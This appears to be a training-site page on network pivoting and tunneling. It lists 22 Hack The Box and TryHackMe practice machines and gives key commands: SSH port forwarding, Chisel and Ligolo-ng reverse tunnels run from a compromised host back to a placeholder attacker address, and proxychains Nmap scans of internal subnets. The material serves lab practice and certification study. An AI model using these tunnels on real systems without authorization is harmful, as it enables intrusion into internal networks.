Pivoting and Tunneling: practice machines and key commands
By Daniel Dayan ยท Updated
Pivoting uses a compromised host as a relay into networks you cannot reach directly. The simplest tool is SSH: -L forwards a local port to an internal service, -R exposes a port from the target back to you, and -D creates a SOCKS proxy that proxychains can use for scanners. When SSH is not available, Chisel and Ligolo-ng provide reverse tunnels over a single outbound connection, and Windows hosts can use netsh portproxy. Scan through the tunnel with full connect scans, since SYN scans do not traverse SOCKS. Map the internal subnets with ip a and arp, then repeat enumeration on each new segment. Keep a diagram of which tunnel leads where. The boxes listed require reaching a second network.
Key commands
Placeholders in braces, such as {TARGET_IP}, are values you fill in for your target.
SSH Dynamic Port Forwarding (SOCKS5)
Open a local SOCKS5 proxy on port 1080 routed through target SSH host.
ssh -D 1080 -f -C -q -N {USER}@{TARGET_IP}SSH Local Port Forwarding (-L)
Forward target internal port (e.g. 8443) to local port 9999 on attacker machine.
ssh -L 9999:127.0.0.1:8443 {USER}@{TARGET_IP} -NSSH Reverse Remote Forwarding (-R)
Expose local port or listener on compromised host back to attacker machine.
ssh -R {LPORT}:127.0.0.1:80 {USER}@{LHOST} -NChisel Attacker Reverse Tunnel Server
Start Chisel reverse tunnel listener on attacker machine on port 8000.
./chisel server -p 8000 --reverseChisel Victim Reverse Socks Pivot
Connect back to attacker server and open socks5 proxy port 1080 to access internal network.
./chisel client {LHOST}:8000 R:socksLigolo-ng High-Performance TUN Interface Pivot
Fast userland tunnel creating real system tun adapter for seamless Nmap/Metasploit routing.
# On Attacker:
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert -laddr 0.0.0.0:11601
# On Compromised Host:
./agent -connect {LHOST}:11601 -ignore-cert
# Add route on Attacker:
sudo ip route add 172.16.1.0/24 dev ligoloProxychains TCP Full Connect Nmap Scan
Route Nmap port scan through SOCKS proxy tunnel to scan internal networks.
proxychains4 -q nmap -sT -Pn -p 21,22,80,445,3389,8080 172.16.1.10
Keep going
- Methodology: Phase 06: Internal System & Network Reconnaissance
- Cheatsheet: Pivoting & Tunnels
Pivoting and Tunneling machines (22)
20 Linux, 2 Windows.
Listed when a machine has a catalog tag that is one of: pivoting, tunneling, port forwarding, chisel, ligolo, proxychains, socat, ssh tunnel, socks. Capital letters, hyphens and underscores are ignored, and the tags that matched come first in each row.
Pivoting and Tunneling at a glance
- By platform: 18 Hack The Box, 4 TryHackMe.
- On these practice lists: CPTS (14), Unofficial IppSec CPTS (10), CWEE (4), OSCP (2), HTB Active Directory (1), OSEP (1).
- Tags that most often appear alongside it: LFI (3), Python (2), Redis (2).
Very Easy (1)
| Machine | Platform | OS |
|---|---|---|
| Funnel | HTB | Linux |
Easy (8)
| Machine | Platform | OS |
|---|---|---|
| Alert IppSec | HTB | Linux |
| Buff IppSec | HTB | Windows |
| Chemistry IppSec | HTB | Linux |
| Horizontall IppSec | HTB | Linux |
| PC IppSec | HTB | Linux |
| Sea IppSec | HTB | Linux |
| Sightless IppSec | HTB | Linux |
| VulnNet: Internal | THM | Linux |
Medium (6)
| Machine | Platform | OS |
|---|---|---|
| Bagel IppSec | HTB | Linux |
| Format IppSec | HTB | Linux |
| Only4You | HTB | Linux |
| Sandworm IppSec | HTB | Linux |
| Shared IppSec | HTB | Linux |
| Surveillance IppSec | HTB | Linux |
Hard (6)
| Machine | Platform | OS |
|---|---|---|
| Borderlands | THM | Linux |
| Flight | HTB | Windows |
| ForwardSlash IppSec | HTB | Linux |
| Internal | THM | Linux |
| RainyDay IppSec | HTB | Linux |
| Year of the Fox | THM | Linux |
Insane (1)
| Machine | Platform | OS |
|---|---|---|
| Reddish IppSec | HTB | Linux |
Related techniques
Related guides: HTB CPTS exam guide, OSCP vs CPTS, HTB Pro Labs guide, HTB vs TryHackMe.
Practise it, then track it.
Log every box and the commands you used in ZeroBox.